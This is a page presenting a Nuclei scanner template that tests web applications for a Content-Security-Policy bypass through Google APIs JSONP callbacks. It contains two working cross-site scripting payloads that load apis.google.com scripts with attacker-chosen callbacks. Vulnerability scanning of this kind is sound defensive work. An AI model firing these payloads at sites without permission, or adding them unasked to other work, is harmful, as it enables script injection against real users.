Skip to content

Content-Security-Policy Bypass - Google APIs

ID: google-apis-csp-bypass

Severity: medium

Author: renniepak,DhiyaneshDK

Tags: xss,csp-bypass,google-apis

id: google-apis-csp-bypass
info:
name: Content-Security-Policy Bypass - Google APIs
author: renniepak,DhiyaneshDK
severity: medium
reference:
- https://github.com/renniepak/CSPBypass/blob/main/data.tsv
metadata:
verified: true
tags: xss,csp-bypass,google-apis
flow: http(1) && headless(1)
http:
- method: GET
path:
- "{{BaseURL}}"
matchers:
- type: word
part: header
words:
- "Content-Security-Policy"
- "googleapis.com"
condition: and
internal: true
headless:
- steps:
- action: navigate
args:
url: "{{BaseURL}}"
- action: waitdialog
name: google_apis_csp_xss
args:
max-duration: 5s
payloads:
injection:
- '<iframe id=x src="/%GG"></iframe><script src="https://apis.google.com/complete/search?client=chrome&q=<script>alert(document.domain)</script>&callback=x.contentDocument.write"></script>'
- '<script src="https://apis.google.com/complete/search?client=chrome&q=x&callback=alert"></script>'
fuzzing:
- part: query
type: replace
mode: single
fuzz:
- "{{url_encode(injection)}}"
matchers:
- type: dsl
dsl:
- "google_apis_csp_xss == true"
# digest: 4b0a00483046022100a37b836873f99c66f91a8f521d744b45663a9ab46bb487b1db43961475c1130e022100dc67296340fd6791be8420cf4c74ac056834be731cde0fb7c4b69a1c33a9d86f:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "dast/vulnerabilities/xss/csp-bypass/google-apis-csp-bypass.yaml"

View on Github